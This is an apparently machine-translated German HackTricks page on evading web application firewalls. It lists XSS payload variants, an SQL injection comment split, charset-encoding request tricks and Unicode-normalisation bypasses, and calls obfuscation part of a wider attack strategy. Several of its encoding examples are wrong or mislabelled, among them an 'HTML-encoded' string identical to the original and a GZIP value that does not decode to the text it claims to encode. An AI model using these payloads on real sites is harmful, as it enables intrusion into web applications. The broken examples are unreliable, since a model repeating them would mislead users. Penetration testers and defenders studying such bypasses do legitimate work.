9.9 KiB
WAF Bypass
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Regex-Bypasses
Es können verschiedene Techniken verwendet werden, um die Regex-Filter der Firewalls zu umgehen. Beispiele hierfür sind das Wechseln der Groß- und Kleinschreibung, das Hinzufügen von Zeilenumbrüchen und das Codieren von Payloads. Ressourcen für die verschiedenen Umgehungen finden Sie unter PayloadsAllTheThings und OWASP. Die folgenden Beispiele wurden aus diesem Artikel entnommen.
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
Zeichencodierung
Eine gängige Methode, um Web Application Firewalls (WAFs) zu umgehen, besteht darin, die Zeichencodierung zu ändern. Dies kann dazu führen, dass die WAF die Angriffsvektoren nicht erkennt und somit den Angriff nicht blockiert.
URL-Encoding
URL-Encoding ist eine Technik, bei der Sonderzeichen in einer URL durch eine spezielle Codierung ersetzt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.
Beispiel:
Ursprüngliche URL: http://example.com/page?param=value
URL-Encoding: http://example.com/page?param%3Dvalue
Hex-Encoding
Hex-Encoding ist eine Methode, bei der Zeichen in Hexadezimalwerte umgewandelt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.
Beispiel:
Ursprünglicher Text: admin
Hex-Encoding: 61646d696e
Unicode-Encoding
Unicode-Encoding ist eine Technik, bei der Zeichen in Unicode-Zeichen umgewandelt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.
Beispiel:
Ursprünglicher Text: admin
Unicode-Encoding: \u0061\u0064\u006d\u0069\u006e
HTML-Encoding
HTML-Encoding ist eine Methode, bei der Zeichen in HTML-Entitäten umgewandelt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.
Beispiel:
Ursprünglicher Text: <script>alert('XSS')</script>
HTML-Encoding: <script>alert('XSS')</script>
Base64-Encoding
Base64-Encoding ist eine Technik, bei der Daten in eine Zeichenkette umgewandelt werden, die nur aus alphanumerischen Zeichen besteht. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.
Beispiel:
Ursprünglicher Text: admin
Base64-Encoding: YWRtaW4=
GZIP-Encoding
GZIP-Encoding ist eine Methode, bei der Daten komprimiert werden, um die Übertragungseffizienz zu verbessern. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer komprimierten Form vorliegt.
Beispiel:
Ursprünglicher Text: admin
GZIP-Encoding: H4sIAAAAAAAE/w==
Chunked-Encoding
Chunked-Encoding ist eine Technik, bei der Daten in kleinere Teile aufgeteilt werden, um die Übertragung zu erleichtern. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in mehreren Teilen übertragen wird.
Beispiel:
Ursprünglicher Text: admin
Chunked-Encoding: 4\r\nadmin\r\n0\r\n\r
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037
##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))
## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
Obfuscation
Obfuscation ist eine Technik, bei der der Code so modifiziert wird, dass er schwer zu verstehen oder zu analysieren ist. Dies kann verwendet werden, um WAFs (Web Application Firewalls) zu umgehen, da sie den modifizierten Code möglicherweise nicht erkennen können.
Es gibt verschiedene Arten von Obfuscationstechniken, die verwendet werden können, um den Code zu verschleiern. Einige Beispiele sind:
- String-Obfuscation: Hierbei werden Zeichenketten im Code verschlüsselt oder in andere Formate umgewandelt, um sie vor der Erkennung durch WAFs zu schützen.
- Code-Obfuscation: Diese Technik beinhaltet die Modifikation des Codes, um ihn schwer lesbar zu machen. Dies kann durch das Hinzufügen von unnötigen Anweisungen, das Umbenennen von Variablen oder das Verwenden von verschleierten Funktionen erreicht werden.
- Payload-Obfuscation: Bei dieser Technik wird die schädliche Payload so modifiziert, dass sie von WAFs nicht erkannt wird. Dies kann durch das Ändern der Reihenfolge der Zeichen, das Hinzufügen von Junk-Code oder das Verwenden von verschleierten Funktionen erreicht werden.
Es ist wichtig zu beachten, dass Obfuscation allein nicht ausreicht, um eine WAF zu umgehen. Es sollte als Teil einer umfassenderen Angriffsstrategie verwendet werden, die auch andere Techniken wie IP-Spoofing, HTTP-Header-Manipulation und Angriffe auf Schwachstellen umfasst.
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
Unicode-Kompatibilität
Je nach Implementierung der Unicode-Normalisierung (weitere Informationen hier) können Zeichen, die Unicode-Kompatibilität aufweisen, den WAF umgehen und als beabsichtigte Nutzlast ausgeführt werden. Kompatible Zeichen finden Sie hier
Beispiel
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
Überschreiten von Größenbeschränkungen
Es ist üblich bei cloudbasierten WAFs, dass wenn die Nutzlast größer als X ist, die Anfrage nicht vom WAF überprüft wird. Du kannst das einfach nutzen, um sie zu umgehen.
IP-Rotation
Lerne AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn du deine Firma in HackTricks bewerben möchtest oder HackTricks als PDF herunterladen möchtest, schau dir die ABONNEMENTPLÄNE an!
- Hol dir das offizielle PEASS & HackTricks Merchandise
- Entdecke The PEASS Family, unsere Sammlung exklusiver NFTs
- Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @carlospolopm.
- Teile deine Hacking-Tricks, indem du Pull Requests an die HackTricks und HackTricks Cloud GitHub-Repos sendest.